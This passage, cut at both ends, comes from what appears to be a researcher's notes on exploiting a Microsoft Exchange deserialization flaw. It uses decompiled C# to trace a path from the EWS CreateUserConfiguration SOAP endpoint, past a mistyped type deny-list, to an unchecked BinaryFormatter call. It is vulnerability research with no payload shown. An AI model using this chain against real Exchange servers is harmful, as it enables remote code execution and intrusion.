System.Runtime.Serialization; \n \n [OnSerializing] \n [SecurityCritical] \n private void OnSerializingMethod(StreamingContext context) \n { \n \u00a0\u00a0\u00a0\u00a0if (!(this is ISerializable)) \n \u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0m_serializedClaimsIdentities = SerializeIdentities(); \n \u00a0\u00a0\u00a0\u00a0} \n }\n \n\nAlright so now we know how that is set, lets go back to the deserialization shall we? The code for `DeserializeIdentities()` can be seen below. Note that there is a call to `binaryFormatter.Deserialize(serializationStream2, null, fCheck: false);` in this code. `binaryFormatter.Deserialize()` is equivalent to `BinaryFormatter.Deserialize()`, which doesn\u2019t bind a checker to check what types are being deserialized, so this method is easily exploitable if no checks or incorrect checks are being done on the types being deserialized. This is the case here due to the incorrect implementation of the type blacklist.\n \n \n // System.Security.Claims.ClaimsPrincipal \n using System.Collections.Generic; \n using System.Globalization; \n using System.IO; \n using System.Runtime.Serialization; \n using System.Runtime.Serialization.Formatters.Binary; \n using System.Security.Principal; \n \n [SecurityCritical] \n private void DeserializeIdentities(string identities) \n { \n \u00a0\u00a0\u00a0\u00a0m_identities = new List<ClaimsIdentity>(); \n \u00a0\u00a0\u00a0\u00a0if (string.IsNullOrEmpty(identities)) \n \u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0return; \n \u00a0\u00a0\u00a0\u00a0} \n \u00a0\u00a0\u00a0\u00a0List<string> list = null; \n \u00a0\u00a0\u00a0\u00a0BinaryFormatter binaryFormatter = new BinaryFormatter(); \n \u00a0\u00a0\u00a0\u00a0using MemoryStream serializationStream = new MemoryStream(Convert.FromBase64String(identities)); \n \u00a0\u00a0\u00a0\u00a0list = (List<string>)binaryFormatter.Deserialize(serializationStream, null, fCheck: false); \n \u00a0\u00a0\u00a0\u00a0for (int i = 0; i < list.Count; i += 2) \n \u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0ClaimsIdentity claimsIdentity = null; \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0using (MemoryStream serializationStream2 = new MemoryStream(Convert.FromBase64String(list[i + 1]))) \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0claimsIdentity = (ClaimsIdentity)binaryFormatter.Deserialize(serializationStream2, null, fCheck: false); \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0} \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0if (!string.IsNullOrEmpty(list[i])) \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0if (!long.TryParse(list[i], NumberStyles.Integer, NumberFormatInfo.InvariantInfo, out var result)) \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0throw new SerializationException(Environment.GetResourceString(\"Serialization_CorruptedStream\")); \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0} \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0claimsIdentity = new WindowsIdentity(claimsIdentity, new IntPtr(result)); \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0} \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0m_identities.Add(claimsIdentity); \n \u00a0\u00a0\u00a0\u00a0} \n }\n \n\nSo from this we can confirm that the chain for deserialization looks like this:\n \n \n System.Security.Claims.ClaimsPrincipal.OnDeserializedMethod() \n System.Security.Claims.ClaimsPrincipal.DeserializeIdentities() \n BinaryFormatter.Deserialize()\n \n\n# Quick review\n\n## TLDR\n\nWe now have a type, `TypedBinaryFormatter` that has a binder who incorrectly validates the types that `TypedBinaryFormatter` deserializes and which allows the `Security.Systems.Claims.ClaimsPrincipal` to go through which allows for arbitrary type deserialization.\n\n## Longer explanation\n\nAlright so lets quickly review what we know. We know we need to deserialize a `TypedBinaryFormatter` object whose `Deserialize()` method will result in a `ExchangeBinaryFormatterFactory.CreateBinaryFormatter()` call. This results in a new `ChainedSerializationBinder` class object being created whose `BindToType()` method that is used to validate the data that `TypedBinaryFormatter` will deserialize. `BindToType()` will call `ValidateTypeToDeserialize()` within the same class. This uses a blacklist in the variable `GlobalDisallowedTypesForDeserialization` which is set to the result of calling `ChainedSerializationBinder`\u2019s `BuildDisallowedTypesForDeserialization()` method. Unfortunately this method had a typo so the `Security.System.Claims.ClaimsPrincipal` type was allowed though.\n\nIf we then deserialize an object of type `Security.System.Claims.ClaimsPrincipal` we can get it to hit a vulnerable `BinaryFormatter.Deserialize()` call via the call chain, which can deserialize arbitrary classes as this type of formatter doesn\u2019t use a binder to check what types it deserializes.\n \n \n TypedBinaryFormatter.DeserializeObject(Stream, TypeBinder)\n \tTypedBinaryFormatter.Desearialize(Stream)\n \t\tSystem.Security.Claims.ClaimsPrincipal.OnDeserializedMethod() \n \t\t System.Security.Claims.ClaimsPrincipal.DeserializeIdentities() \n \t\t BinaryFormatter.Deserialize()\n \n\n# The Source\n\n## Initial Inspection\n\nLets start at `Microsoft.Exchange.Compliance.Serialization.Formatters.TypedBinaryFormatter.Deserialize(Stream, SerializationBinder)` and work back. We start with this one as its the most common use case. If we look at the other remaining 3 function definition variations for the `Deserialize()` method, we will see that two of them have no callers, and the remaining one is a little more complex (I imagine its still viable but no need to complicate the beast when there are simpler ways!)\n\n![[Pasted image 20220205174401.png]]\n\nAs is shown above we can see that `Microsoft.Exchange.Compliance.Serialization.Formatters.TypedBinaryFormatter.Deserialize(Stream, SerializationBinder)` is called by `Microsoft.Exchange.Compliance.Serialization.Formatters.TypedBinaryFormatter.DeserializeObject(Stream, TypeBinder)`, which is turn called by `Microsoft.Exchange.Data.ApplicationLogic.Extension.ClientExtensionCollectionFormatter.Deserialize(Stream)`.\n\nSo deserialization chain is now:\n \n \n Microsoft.Exchange.Data.ApplicationLogic.Extension.ClientExtensionCollectionFormatter.Deserialize(Stream)\n \tTypedBinaryFormatter.DeserializeObject(Stream, TypeBinder)\n \t\tTypedBinaryFormatter.Desearialize(Stream)\n \t\t\tSystem.Security.Claims.ClaimsPrincipal.OnDeserializedMethod() \n \t\t\t System.Security.Claims.ClaimsPrincipal.DeserializeIdentities() \n \t\t\t BinaryFormatter.Deserialize()\n \n\n## ILSpy And Interfaces \u2013 Finding Where Microsoft.Exchange.Data.ApplicationLogic.Extension.ClientExtensionCollectionFormatter.Deserialize(Stream) is Used\n\nAt this point we hit a snag, as it seems like this isn\u2019t called anywhere. However in [[ILSpy]] and we see we can see an `Implements` field that does not appear in [[dnSpy]] and if we expand this we can see that it has a `Implemented By` and `Used By` field.\n\nWe can see that `Microsoft.Exchange.Data.ApplicationLogic.Extension.ClientExtensionCollectionFormatter.Deserialize(Stream)` implements `Microsoft.Exchange.Data.ApplicationLogic.Extension.IClientExtensionCollectionFormatter.Deserialize` (note the `IClient` not `Client` part here indicating that this is an interface, not a normal class), and that this interface is used by `Microsoft.Exchange.Data.ApplicationLogic.Extension.OrgExtensionSerializer.TryDeserialize(IUserConfiguration userConfiguration, out OrgExtensionRetrievalResult result, out Exception exception)`, which will use this interface to call the `Microsoft.Exchange.Data.ApplicationLogic.Extension.ClientExtensionCollectionFormatter.Deserialize(Stream)` function.\n\n![[Pasted image 20220207195041.png]]\n\nWe can also verify that `Microsoft.Exchange.Data.ApplicationLogic.Extension.OrgExtensionSerializer` is essentially just an interface wrapper around the `ClientExtensionCollectionFormatter` interface:\n \n \n // Microsoft.Exchange.Data.ApplicationLogic.Extension.OrgExtensionSerializer \n private IClientExtensionCollectionFormatter formatter;\n \n\nSo deserialization chain is now:\n \n \n Microsoft.Exchange.Data.ApplicationLogic.Extension.OrgExtensionSerializer.TryDeserialize(IUserConfiguration, out OrgExtensionRetrievalResult, out Exception)\n \tMicrosoft.Exchange.Data.ApplicationLogic.Extension.ClientExtensionCollectionFormatter.Deserialize(Stream)\n \t\tTypedBinaryFormatter.DeserializeObject(Stream, TypeBinder)\n \t\t\tTypedBinaryFormatter.Desearialize(Stream)\n \t\t\t\tSystem.Security.Claims.ClaimsPrincipal.OnDeserializedMethod() \n \t\t\t\t System.Security.Claims.ClaimsPrincipal.DeserializeIdentities() \n \t\t\t\t BinaryFormatter.Deserialize()\n \n\n## Finding the Expected Data Types for Microsoft.Exchange.Data.ApplicationLogic.Extension.OrgExtensionSerializer.TryDeserialize\n\nThe code for `Microsoft.Exchange.Data.ApplicationLogic.Extension.OrgExtensionSerializer.TryDeserialize(IUserConfiguration userConfiguration, out OrgExtensionRetrievalResult result, out Exception exception)` can be seen below:\n \n \n // Microsoft.Exchange.Data.ApplicationLogic.Extension.OrgExtensionSerializer \n using System; \n using System.Collections; \n using System.IO; \n using System.Runtime.Serialization; \n using Microsoft.Exchange.Data.Storage; \n \n public bool TryDeserialize(IUserConfiguration userConfiguration, out OrgExtensionRetrievalResult result, out Exception exception) \n { \n \u00a0\u00a0\u00a0\u00a0result = new OrgExtensionRetrievalResult(); \n \u00a0\u00a0\u00a0\u00a0exception = null; \n \u00a0\u00a0\u00a0\u00a0IDictionary dictionary = userConfiguration.GetDictionary(); \n \u00a0\u00a0\u00a0\u00a0if (dictionary.Contains(\"OrgDO\")) \n \u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0result.HasDefaultExtensionsWithDefaultStatesOnly = (bool)dictionary[\"OrgDO\"]; \n \u00a0\u00a0\u00a0\u00a0} \n \u00a0\u00a0\u00a0\u00a0bool flag = false; \n \u00a0\u00a0\u00a0\u00a0if (!result.HasDefaultExtensionsWithDefaultStatesOnly) \n \u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0using (Stream stream = userConfiguration.GetStream()) \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0stream.Position = 0L; \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0try \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0result.Extensions = formatter.Deserialize(stream); <- DESERIALIZATION HERE\n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0return true; \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0} \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0catch (SerializationException ex) \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0Tracer.TraceError(GetHashCode(), \"deserialization failed with {0}\", ex); \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0flag = false; \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0exception = ex; \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0return flag; \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0} \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0} \n \u00a0\u00a0\u00a0\u00a0} \n \u00a0\u00a0\u00a0\u00a0return true; \n }\n \n\nLooking at the code here we can see that we appear to be deserializing a `stream` variable of type `Stream`, which is set to the result of calling `userConfiguration.GetStream()`. Further up in the code we can see `userConfiguration` is defined as an interface to the `UserConfiguration` class via the line `IUserConfiguration userConfiguration` in the parameter list. We can find more details on this class at <https://docs.microsoft.com/en-us/dotnet/api/microsoft.exchange.webservices.data.userconfiguration?view=exchange-ews-api> which mentions this is part of the Exchange EWS API.\n\nFurther Googling for `UserConfiguration` turns up <https://docs.microsoft.com/en-us/exchange/client-developer/web-service-reference/userconfiguration> which references it as a EWS XML element that defines a single user configuration object with the following format:\n \n \n <UserConfiguration> \n \t<UserConfigurationName/> \n \t<ItemId/> \n \t<Dictionary/> \n \t<XmlData/> \n \t<BinaryData/> \n </UserConfiguration>\n \n\nWe also see there is a parent object called `CreateUserConfiguration`. Documentation for this object can be found at <https://docs.microsoft.com/en-us/exchange/client-developer/web-service-reference/createuserconfiguration> where it is defined as follows:\n \n \n <CreateUserConfiguration>\n <UserConfiguration/>\n </CreateUserConfiguration>\n \n\nOkay so this is great and all, but this leaves two questions. The first question is \u201cHow do we actually use this data in a web request?\u201d and the second question is \u201cWhat is this data used for normally?\u201d. Further Googling of `CreateUserConfiguration` answers the second question when we find <https://docs.microsoft.com/en-us/exchange/client-developer/web-service-reference/createuserconfiguration-operation> which mentions that `The CreateUserConfiguration operation creates a user configuration object on a folder.` This also provides some data examples on how this might be used as a SOAP request. However it doesn\u2019t specify what endpoint we would have to send this to, leading to another open question. A second open question then becomes \u201cOkay I suppose I might want to debug this later on in the code when developing the exploit, but where is it implemented?\u201d. Lets answer that second question now.\n\n## Identifying CreateUserConfiguration Code\n\nAs it turns out, finding the code that handles `CreateUserConfiguration` takes us down a bit of a winding path. We start with `Microsoft.Exchange.Data.Storage.IUserConfiguration` as the definition of the interface we saw earlier in the `Microsoft.Exchange.Data.ApplicationLogic.Extension.OrgExtensionSerializer.TryDeserialize(IUserConfiguration userConfiguration, out OrgExtensionRetrievalResult result, out Exception exception)` function definition.\n\nHowever once again we quickly realize that `IUserConfiguration` is just an interface class. Searching for `UserConfiguration` with the `Type` filter on eventually leads us to find the `Microsoft.Exchange.Data.Storage.UserConfiguration` type:\n\n![[Pasted image 20220207203836.png]]\n\nLooking inside this leads us to find `Microsoft.Exchange.Data.Storage.UserConfiguration.GetConfiguration`.\n \n \n // Microsoft.Exchange.Data.Storage.UserConfiguration \n using Microsoft.Exchange.Diagnostics; \n using Microsoft.Exchange.Diagnostics.Components.Data.Storage; \n using Microsoft.Exchange.ExchangeSystem; \n \n public static UserConfiguration GetConfiguration(Folder folder, UserConfigurationName configurationName, UserConfigurationTypes type, bool autoCreate) \n { \n \u00a0\u00a0\u00a0\u00a0EnumValidator.ThrowIfInvalid(type, \"type\"); \n \u00a0\u00a0\u00a0\u00a0try \n \u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0return GetIgnoringCache(null, folder, configurationName, type); \n \u00a0\u00a0\u00a0\u00a0} \n \u00a0\u00a0\u00a0\u00a0catch (ObjectNotFoundException arg) \n \u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0if (ExTraceGlobals.StorageTracer.IsTraceEnabled(TraceType.ErrorTrace)) \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0ExTraceGlobals.StorageTracer.TraceError(0L, \"UserConfiguration::GetConfiguration. User Configuration object not found. Exception = {0}.\", arg); \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0} \n \u00a0\u00a0\u00a0\u00a0} \n \u00a0\u00a0\u00a0\u00a0if (autoCreate) \n \u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0return Create(folder, configurationName, type); \n \u00a0\u00a0\u00a0\u00a0} \n \u00a0\u00a0\u00a0\u00a0return null; \n }\n \n\nAt this point, I knew that there has to be some way to create the user configuration object given the error message and wondered if there was a similarly named `CreateUserConfiguration` function, going off of the naming convention that seemed to be used for these functions. I searched for this and it turns out there was a function under `Microsoft.Exchange.Services.Core.CreateUserConfiguration` named `CreateUserConfiguration()`.\n\n![[Pasted image 20220207204246.png]]\n\nLets look at its code:\n \n \n // Microsoft.Exchange.Services.Core.CreateUserConfiguration \n using Microsoft.Exchange.Services.Core.Types; \n \n public CreateUserConfiguration(ICallContext callContext, CreateUserConfigurationRequest request) : base(callContext, request) \n { \n \u00a0\u00a0\u00a0\u00a0serviceUserConfiguration = request.UserConfiguration; \n \u00a0\u00a0\u00a0\u00a0ServiceCommandBase<ICallContext>.ThrowIfNull(serviceUserConfiguration, \"serviceUserConfiguration\", \"CreateUserConfiguration::ctor\"); \n }\n \n\nAlright so this seems to take in some request object from a HTTP request or similar, and then set the `serviceUserConfiguration` variable to the section in the request named `UserConfiguration` with `request.UserConfiguration`. We seem to be on the right track, so lets look at the `Microsoft.Exchange.Services.Core.Types.CreateUserConfigurationRequest` type of the `request` variable:\n \n \n // Microsoft.Exchange.Services.Core.Types.CreateUserConfigurationRequest \n using System.Runtime.Serialization; \n using System.Xml.Serialization; \n using Microsoft.Exchange.Services; \n using Microsoft.Exchange.Services.Core; \n using Microsoft.Exchange.Services.Core.Types; \n \n [XmlType(\"CreateUserConfigurationRequestType\", Namespace = \"http://schemas.microsoft.com/exchange/services/2006/messages\")] \n [DataContract(Namespace = \"http://schemas.datacontract.org/2004/07/Exchange\")] \n public class CreateUserConfigurationRequest : BaseRequest \n { \n \u00a0\u00a0\u00a0\u00a0[XmlElement] \n \u00a0\u00a0\u00a0\u00a0[DataMember(IsRequired = true)] \n \u00a0\u00a0\u00a0\u00a0public ServiceUserConfiguration UserConfiguration { get; set; } \n \n \u00a0\u00a0\u00a0\u00a0internal override IServiceCommand GetServiceCommand(ICallContext callContext) \n \u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0return new CreateUserConfiguration(callContext, this); \n \u00a0\u00a0\u00a0\u00a0} \n \n \u00a0\u00a0\u00a0\u00a0public override BaseServerIdInfo GetProxyInfo(IMinimalCallContext callContext) \n \u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0if (UserConfiguration == null || UserConfiguration.UserConfigurationName == null || UserConfiguration.UserConfigurationName.BaseFolderId == null) \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0return null; \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0} \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0return BaseServerIdInfoFactory.GetServerInfoForFolderId(callContext, UserConfiguration.UserConfigurationName.BaseFolderId); \n \u00a0\u00a0\u00a0\u00a0} \n }\n \n\nHere we can see that `UserConfiguration` is of type `Microsoft.Exchange.Services.Core.Types.ServiceUserConfiguration` so lets check out that definition:\n \n \n // Microsoft.Exchange.Services.Core.Types.ServiceUserConfiguration \n using System; \n using System.Runtime.Serialization; \n using System.Xml.Serialization; \n using Microsoft.Exchange.Services.Core.Types; \n \n [Serializable] \n [XmlType(TypeName = \"UserConfigurationType\", Namespace = \"http://schemas.microsoft.com/exchange/services/2006/types\")] \n [DataContract(Namespace = \"http://schemas.datacontract.org/2004/07/Exchange\")] \n public class ServiceUserConfiguration \n { \n \u00a0\u00a0\u00a0\u00a0[XmlElement(\"UserConfigurationName\")] \n \u00a0\u00a0\u00a0\u00a0[DataMember(IsRequired = true, Order = 1)] \n \u00a0\u00a0\u00a0\u00a0public UserConfigurationNameType UserConfigurationName { get; set; } \n \n \u00a0\u00a0\u00a0\u00a0[XmlElement(\"ItemId\")] \n \u00a0\u00a0\u00a0\u00a0[DataMember(Name = \"ItemId\", IsRequired = false, EmitDefaultValue = false, Order = 2)] \n \u00a0\u00a0\u00a0\u00a0public ItemId ItemId { get; set; } \n \n \u00a0\u00a0\u00a0\u00a0[XmlArrayItem(\"DictionaryEntry\", IsNullable = false)] \n \u00a0\u00a0\u00a0\u00a0[DataMember(Name = \"Dictionary\", IsRequired = false, EmitDefaultValue = false, Order = 3)] \n \u00a0\u00a0\u00a0\u00a0public UserConfigurationDictionaryEntry[] Dictionary { get; set; } \n \n \u00a0\u00a0\u00a0\u00a0[XmlElement] \n \u00a0\u00a0\u00a0\u00a0[DataMember(Name = \"XmlData\", IsRequired = false, EmitDefaultValue = false, Order = 4)] \n \u00a0\u00a0\u00a0\u00a0public string XmlData { get; set; } \n \n \u00a0\u00a0\u00a0\u00a0[DataMember(Name = \"BinaryData\", IsRequired = false, EmitDefaultValue = false, Order = 5)] \n \u00a0\u00a0\u00a0\u00a0public string BinaryData { get; set; } \n }\n \n\nAnd this matches what we saw earlier! Perfect! But one last thing. We saw the example on the web used SOAP, so lets see if we can find a function related to SOAP that handles this function. Expanding this search to `Types and Methods` and searching for `CreateUserConfigurationSoap`, we see that `CreateUserConfigurationSoapRequest` exists as a type, as well as `CreateUserConfigurationSoapResponse`.\n\n![[Pasted image 20220207211116.png]]\n\nLets look at the request definition:\n \n \n // Microsoft.Exchange.Services.Wcf.CreateUserConfigurationSoapRequest \n using System.ServiceModel; \n using Microsoft.Exchange.Services.Core.Types; \n using Microsoft.Exchange.Services.Wcf; \n \n [MessageContract(IsWrapped = false)] \n public class CreateUserConfigurationSoapRequest : BaseSoapRequest \n { \n \u00a0\u00a0\u00a0\u00a0[MessageBodyMember(Name = \"CreateUserConfiguration\", Namespace = \"http://schemas.microsoft.com/exchange/services/2006/messages\", Order = 0)] \n \u00a0\u00a0\u00a0\u00a0public CreateUserConfigurationRequest Body; \n }\n \n\nAlright lets see where that is used.\n\n![[Pasted image 20220207211256.png]]\n\nLooks like `BeginCreateUserConfiguration(CreateUserConfigurationSoapRequest soapRequest, AsyncCallback asyncCallback, object asyncState)` uses this.\n \n \n // Microsoft.Exchange.Services.Wcf.EWSService \n using System; \n using Microsoft.Exchange.Services.Core.Types; \n \n [PublicEWSVersion] \n public IAsyncResult BeginCreateUserConfiguration(CreateUserConfigurationSoapRequest soapRequest, AsyncCallback asyncCallback, object asyncState) \n { \n \u00a0\u00a0\u00a0\u00a0return soapRequest.Body.ValidateAndSubmit<CreateUserConfigurationResponse>(CallContext.Current, asyncCallback, asyncState); \n }\n \n\nAlright so now we know where to debug but what is the URL we need? Well we can see this is within the `EWSService` class, so lets see if we can\u2019t find a bit of documentation about EWS to help guide us.\n\nA bit of digging turns up <https://docs.microsoft.com/en-us/exchange/client-developer/exchange-web-services/get-started-with-ews-client-applications> which mentions that the normal URL is at `/EWS/Exchange.asmx`. However the page also notes that using the AutoDiscover service which is at `https://<domain>/autodiscover/autodiscover.svc`, `https://<domain>/autodiscover/autodiscover.xml`, `https://autodiscover.<domain>/autodiscover/autodiscover.xml`, or `https://autodiscover.<domain>/autodiscover/autodiscover.svc` is meant to be the more appropriate way to do things, however in my experience I haven\u2019t found these to contain any info r.e the proper URL to use. Maybe I\u2019ll be corrected but for now we\u2019ll go off the assumption that `/EWS/Exchange.asmx` is the proper URL.\n\n## Entry Point Review\n\nWanted to hit `Microsoft.Exchange.Compliance.Serialization.Formatters.TypedBinaryFormatter.Deserialize(Stream, SerializationBinder)` and after tracing this back we found that ultimately this is called via `Microsoft.Exchange.Data.ApplicationLogic.Extension.OrgExtensionSerializer.TryDeserialize(IUserConfiguration userConfiguration, out OrgExtensionRetrievalResult result, out Exception exception)` which will use the `Deserialize` method of `Microsoft.Exchange.Data.ApplicationLogic.Extension.ClientExtensionCollectionFormatter.Deserialize(Stream)` to do the actual deserialization on the `userConfiguration.GetStream()` parameter passed in.\n\nWe then found that the expected format of the `UserConfiguration` class that `userConfiguration` is an instance of looks like the following snippet:\n \n \n <CreateUserConfiguration>\n <UserConfiguration/>\n </CreateUserConfiguration>\n \n\nWhere `UserConfiguration` looks like\n \n \n <UserConfiguration> \n \t<UserConfigurationName/> \n \t<ItemId/> \n \t<Dictionary/> \n \t<XmlData/> \n \t<BinaryData/> \n </UserConfiguration>\n \n\nThis lead us to `Microsoft.Exchange.Services.Core.Types.CreateUserConfigurationRequest` and later to `Microsoft.Exchange.Services.Core.Types.ServiceUserConfiguration` which confirmed we were processing the right data.\n\nWe then confirmed that `Microsoft.Exchange.Services.Wcf.CreateUserConfigurationSoapRequest` is where SOAP requests to create the user configuration are handled and that `Microsoft.Exchange.Services.Wcf.EWSService.BeginCreateUserConfiguration(CreateUserConfigurationSoapRequest soapRequest, AsyncCallback asyncCallback, object asyncState)` uses this to call `soapRequest.Body.ValidateAndSubmit<CreateUserConfigurationResponse>(CallContext.Current, asyncCallback, asyncState);` which will asynchronously create the user configuration and then return a `CreateUserConfigurationResponse` instance containing the response to send back.\n\nFinally we determined `https://<domain>/EWS/Exchange.asmx` is where we need to send our POST request to hopefully create the `UserConfiguration` object.\n\nAll of this results in the following chain for the deserialization attack at the moment.\n \n \n Microsoft.Exchange.Data.ApplicationLogic.Extension.OrgExtensionSerializer.TryDeserialize(IUserConfiguration, out OrgExtensionRetrievalResult, out Exception)\n \tMicrosoft.Exchange.Data.ApplicationLogic.Extension.ClientExtensionCollectionFormatter.Deserialize(Stream)\n \t\tTypedBinaryFormatter.DeserializeObject(Stream, TypeBinder)\n \t\t\tTypedBinaryFormatter.Desearialize(Stream)\n \t\t\t\tSystem.Security.Claims.ClaimsPrincipal.OnDeserializedMethod() \n \t\t\t\t System.Security.Claims.ClaimsPrincipal.DeserializeIdentities() \n \t\t\t\t BinaryFormatter.Deserialize()\n \n\n# Creating a ServiceUserConfiguration Object With BinaryData Stream\n\nNow that we have the URL to send the payload to we just need to figure out which field of the `ServiceUserConfiguration` object to set and how this should be done. Looking back at `Microsoft.Exchange.Services.Core.CreateUserConfiguration` code we can see the `Execute()` method calls the `CreateInstance()` method before setting the returned `UserConfiguration` object\u2019s properties using `SetProperties()`.\n \n \n // Microsoft.Exchange.Services.Core.CreateUserConfiguration \n using Microsoft.Exchange.Data.Storage; \n using Microsoft.Exchange.Diagnostics.Components.Services; \n using Microsoft.Exchange.Services; \n using Microsoft.Exchange.Services.Core; \n using Microsoft.Exchange.Services.Core.Types; \n \n internal sealed class CreateUserConfiguration : UserConfigurationCommandBase<CreateUserConfigurationRequest, ServiceResultNone> \n { \n \u00a0\u00a0\u00a0\u00a0private ServiceUserConfiguration serviceUserConfiguration; \n \n \u00a0\u00a0\u00a0\u00a0public CreateUserConfiguration(ICallContext callContext, CreateUserConfigurationRequest request) \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0: base(callContext, request) \n \u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0serviceUserConfiguration = request.UserConfiguration; \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0ServiceCommandBase<ICallContext>.ThrowIfNull(serviceUserConfiguration, \"serviceUserConfiguration\", \"CreateUserConfiguration::ctor\"); \n \u00a0\u00a0\u00a0\u00a0} \n \n \u00a0\u00a0\u00a0\u00a0internal override IExchangeWebMethodResponse GetResponse() \n \u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0return new CreateUserConfigurationResponse \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0ResponseMessages =\u00a0 \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0new SingleResponseMessage(base.Result.Code, base.Result.Exception) \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0} \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0}; \n \u00a0\u00a0\u00a0\u00a0} \n \n \u00a0\u00a0\u00a0\u00a0private static UserConfiguration CreateInstance(UserConfigurationName userConfigurationName) \n \u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0try \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0{ \n 